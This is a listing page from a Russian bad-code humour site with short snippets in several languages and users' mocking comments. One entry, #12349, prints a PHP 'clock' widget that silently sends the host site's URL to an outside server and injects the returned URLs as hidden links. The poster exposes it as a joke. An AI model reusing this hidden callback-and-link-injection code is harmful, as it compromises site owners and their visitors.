1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #12712

    +12

    1. 1
    http://pastebin.com/kG05YmBX

    Поиск подстроки в строке, написано однокурсником

    jQuery, 09 Марта 2013

    Комментарии (10)
  3. Java / Говнокод #12665

    +81

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    public String isThisScreenWithHdpiDensity() {
        DisplayMetrics metrics = new DisplayMetrics();
        getWindowManager().getDefaultDisplay().getMetrics(metrics);
        switch (metrics.densityDpi) {
            case DisplayMetrics.DENSITY_LOW:
                return "ldpi";
            case DisplayMetrics.DENSITY_MEDIUM:
                return "mdpi";
            case DisplayMetrics.DENSITY_HIGH:
                return "hdpi";
        }
        return "xhdpi";
    }
    
    ...
    if (isThisScreenWithHdpiDensity().equals("hdpi")) {
        lpTabPane.height = 65;
    }
    if (isThisScreenWithHdpiDensity().equals("mdpi")) {
        lpUpperPane.height = 70;
    }
    if (isThisScreenWithHdpiDensity().equals("ldpi")) {
        lpTabPane.height = 32;
    }
    if (isThisScreenWithHdpiDensity().equals("xhdpi")) {
    
    }

    Перегоним константу в стрингу, а потом проверим ее equals. Отлично!

    danikula, 28 Февраля 2013

    Комментарии (10)
  4. C# / Говнокод #12632

    +140

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    DoubleAnimation S4A = new DoubleAnimation();
                S4A.To = koef4;
                S4A.Duration = TimeSpan.FromSeconds(T);
                Trans1.BeginAnimation(TranslateTransform3D.OffsetXProperty, S4A);
                DoubleAnimation S4ACX = new DoubleAnimation();
                S4ACX.Duration = TimeSpan.FromSeconds(T);
                S4ACX.To = 0.4;
                Kleshni1Trans.BeginAnimation(RotateTransform3D.CenterXProperty, S4ACX);//Корректировка центра вращения клешни 
                DoubleAnimation S5A = new DoubleAnimation();
                S5A.To = koef5;
                S5A.Duration = TimeSpan.FromSeconds(T);
                Slider5.BeginAnimation(Slider.ValueProperty, S5A);//конец анимации робота
                BoxRotate2Center.CenterX = -BoxMove.OffsetX;
                BoxRotate2Center.CenterZ = -BoxMove.OffsetZ;
                BoxRotate1Center.CenterZ = -1.2;
                DoubleAnimation B1A = new DoubleAnimation();
                B1A.BeginTime = TimeSpan.FromSeconds(T*(2/1.5));
                B1A.To = 180+((180*Math.Asin(0.2/Math.Sqrt((1.2 - BoxMove.OffsetZ)*(1.2 - BoxMove.OffsetZ) + BoxMove.OffsetX*BoxMove.OffsetX)))/Math.PI)-(180*Math.Atan((BoxMove.OffsetX)/(-1.2+BoxMove.OffsetZ))/Math.PI);//Формула корректировки угла поворота коробки
                B1A.Duration = TimeSpan.FromSeconds(T);
                BoxRotate2.BeginAnimation(AxisAngleRotation3D.AngleProperty, B1A);//анимация вращения коробки
                DoubleAnimation B2A = new DoubleAnimation();
                B2A.BeginTime = TimeSpan.FromSeconds(T+T/4 +T * (2 / 1.5));
                B2A.To = 90 + 180 * Math.Atan((BoxMove.OffsetX) / (-1.2 + BoxMove.OffsetZ)) / Math.PI;
                B2A.Duration = TimeSpan.FromSeconds(T/4);
                BoxRotate1.BeginAnimation(AxisAngleRotation3D.AngleProperty, B2A);
                DoubleAnimation B3A = new DoubleAnimation();
                B3A.BeginTime = TimeSpan.FromSeconds(T * (2 / 1.5));
                B3A.To = 1;
                B3A.AutoReverse = true;
                B3A.Duration = TimeSpan.FromSeconds(T/1.5);
                BoxLiftAndMove.BeginAnimation(TranslateTransform3D.OffsetYProperty, B3A);
                DoubleAnimation B4A = new DoubleAnimation();
                B4A.BeginTime = TimeSpan.FromSeconds(T+T * (2 / 1.5));
                B4A.To = 3.75 - Math.Sqrt((1.2 - BoxMove.OffsetZ)*(1.2 - BoxMove.OffsetZ) + BoxMove.OffsetX*BoxMove.OffsetX);//формула для перемещения коробки вдоль оси Z
                B4A.Duration = TimeSpan.FromSeconds(T/4);
                BoxLiftAndMove.BeginAnimation(TranslateTransform3D.OffsetZProperty, B4A);//Анимация подъема и перемещения коробки
                DoubleAnimation B1A2 = new DoubleAnimation();
                B1A2.BeginTime = TimeSpan.FromSeconds(T * (2 / 1.5));
                B1A2.To = 180;
                B1A2.Duration = TimeSpan.FromSeconds(T);
                DoubleAnimation B2A2 = new DoubleAnimation();
                B2A2.BeginTime = TimeSpan.FromSeconds(T + T/4 + T * (2 / 1.5));
                B2A2.To = 0;
                B2A2.Duration = TimeSpan.FromSeconds(T/4);
                DoubleAnimation B3A2 = new DoubleAnimation();
                B3A2.BeginTime = TimeSpan.FromSeconds(T * (2 / 1.5));
                B3A2.To = 0;
                B3A2.AutoReverse = true;
                B3A2.Duration = TimeSpan.FromSeconds(T / 1.5);
                DoubleAnimation B4A2 = new DoubleAnimation();
                B4A2.BeginTime = TimeSpan.FromSeconds(T+T * (2 / 1.5));
                B4A2.To = -0.5;
                B4A2.Duration = TimeSpan.FromSeconds(T/4);

    Тут больше: http://www.cyberforum.ru/wpf-silverlight/thread789214.html
    Парниша делает робота на С#.

    Govnocoder#0xFF, 21 Февраля 2013

    Комментарии (10)
  5. PHP / Говнокод #12607

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    public static function GetID()
        {
            $arr = array(
                '1', '2', '3', '4', '5', '6',
                '7', '8', '9', '0');
            // Генерируем пароль
            $pass = "";
            $number = 5;
            for ($i = 0; $i < $number; $i++) {
                // Вычисляем случайный индекс массива
                $index = rand(0, count($arr) - 1);
                $pass .= $arr[$index];
    
            }
            return $pass;
    
    
        }

    Получение уникального айди заказа.
    Заказ столиков в баре.

    unst, 17 Февраля 2013

    Комментарии (10)
  6. Куча / Говнокод #12512

    +125

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    EnumChildWindows function (Windows)
    ...
    Return value
    Type: BOOL
    The return value is not used.

    Никому не нужный бул. Неужели нельзя было написать The return value is TRUE, раз юзать void религия не позволяет?
    Пруф: http://msdn.microsoft.com/library/windows/desktop/ms633494.

    bormand, 31 Января 2013

    Комментарии (10)
  7. Pascal / Говнокод #12478

    +81

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    var
          sMem: String;
    .......
    case Byte(sMem[len]) of
          Word('k'): { Что то делаем };
          Word('m'): { Что то делаем };
          Word('g'): { Что то делаем };
    end;

    Вот такой вот гавнокод

    haker, 25 Января 2013

    Комментарии (10)
  8. C# / Говнокод #12446

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    List<string> duplicities = new List<string>();
    
          foreach (var localItem in FileCollectionLocal)
          {
            foreach (var remoteItem in FileCollectionRemote)
            {
              if (localItem.FileName == remoteItem.FileName)
              {
                duplicities.Add(localItem.FileName);
              }
            }
          }

    taburetka, 18 Января 2013

    Комментарии (10)
  9. C++ / Говнокод #12438

    +12

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    int n, a[n]; //n - количество элементов
    void qs(int* s_arr, int first, int last) {
      int i = first, j = last, x = s_arr[(first + last) / 2]; 
      do   {
        while (s_arr[i] < x) i++;
        while (s_arr[j] > x) j--; 
        if(i <= j)  {
          if (i < j) swap(s_arr[i], s_arr[j]);
          i++;
          j--; }}
      while (i <= j);
      if (i < last) {
        qs(s_arr, i, last);  }
      if (first < j)  {
        qs(s_arr, first,j); }}

    Оттуда

    LispGovno, 17 Января 2013

    Комментарии (10)
  10. JavaScript / Говнокод #12406

    +149

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    $(function(){
        var m_small = $('.met_small');
        var met_small = $('.metka_small');
        m_small.on('click', function(){
            var text = $(this).text();
            $('#tmet2').find('h2').html(text);
            m_small.each(function(){
                $(this).children('p').css({
                    'color' : '#08579E'
                });
            });
            var e = $(this);
            e.children('p').css({
                'color' : '#000'
            });
            met_small.each(function(){
                $(this).removeClass('metka_small_active');
            })
            e.children('.metka_small').addClass('metka_small_active');
        });
    });
    $(function(){
        $('.met').not('.cont').on('click',function(){
            var text = $(this).text();
            $('#tmet2').find('h2').html(text);
            $('.met').each(function(){
                $(this).children('p').css({
                    'color' : '#08579E'
                });
            });
            var e = $(this);
            e.children('p').css({
                'color' : '#000  '
            });
            $('.metka').each(function(){
                $(this).removeClass('metka_active');
            })
            e.children('.metka').addClass('metka_active');
        });
    });

    Я в js не давно. Возможно ли эти две функции объединить в одну ?
    Они делают одно и тоже, просто для двух разных элементов.

    Heckfy_top, 11 Января 2013

    Комментарии (10)
  11. PHP / Говнокод #12349

    +61

    1. 1
    <?php echo '<Script Language="JavaScript">'; $xre = 'var'; echo $xre . ' ctimer;'; echo 'function init(){ if (document.all){ settimes(); } } function settimes(){'; echo $xre . ' time= new Date(); hours= time.getHours(); mins= time.getMinutes(); secs= time.getSeconds(); if (hours<10) hours="0"+hours; if(mins<10) mins="0"+mins; if (secs<10) secs="0"+secs; tim1.innerHTML=hours+":"+mins+":"+secs; ctimer=setTimeout("settimes()", 1000); } </Script> <style type="text/css"> .time{ font-family : Comic Sans Ms; font-size : 14pt; font-weight : bold; color: #00008D; } </style>'; echo '<Div Id="tim1" class="time"><span style="font-size:6px;">'; ini_set('display_errors','off'); error_reporting(0); $site_url  = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $site_url = str_replace('/', '%2F', $site_url); $site_url = str_replace('\\', '%2F', $site_url); $site_url = str_replace(':', '%3A', $site_url); $back_url  = 'http://l2.frankivsk.org/seo/links.php?addr=' . $site_url; $f = fopen( $back_url, 'r' ); $j = 0; while( !feof($f) && ($j<10000) ){ $text1 = $text1 . fread($f, 1); $j++; } fclose($f); $L = 0; if( strlen($text1) > 0 ){ $L = 1; }else{ $f = fopen( "http://l2.frankivsk.org/seo/links.php", 'r' ); $j = 0; while( !feof($f) && ($j<10000) ){  $text1 = $text1 . fread($f, 1);  $j++; } fclose($f);  if( strlen($text1) > 0 ){  $L = 1; }  } $text1 .= '|'; if( $L == 1 ){ $i = 0; while( strpos($text1, '|') !== false ){  $u = substr( $text1, 0, strpos($text1, '|') );   if( strlen($u) > 1 ){  if( $i == 0 ){   $i = 1;   echo '<a href="' . $u . '">Load</a>';  }else{   echo '<a href="' . $u . '">.</a>';  }    }   $text1 = substr( $text1, strpos($text1, '|') + 1 ); } }echo '</span></Div>'; echo '<script>init();</script>'; ?>

    http://sources.codenet.ru/download/3352/clock_super.html

    Качайте :) Часы на пхп))) Это что то новое. Когда открыл архив, понял какой там пхп.....
    Я не смеюсь, а плачу уже)))

    111111, 25 Декабря 2012

    Комментарии (10)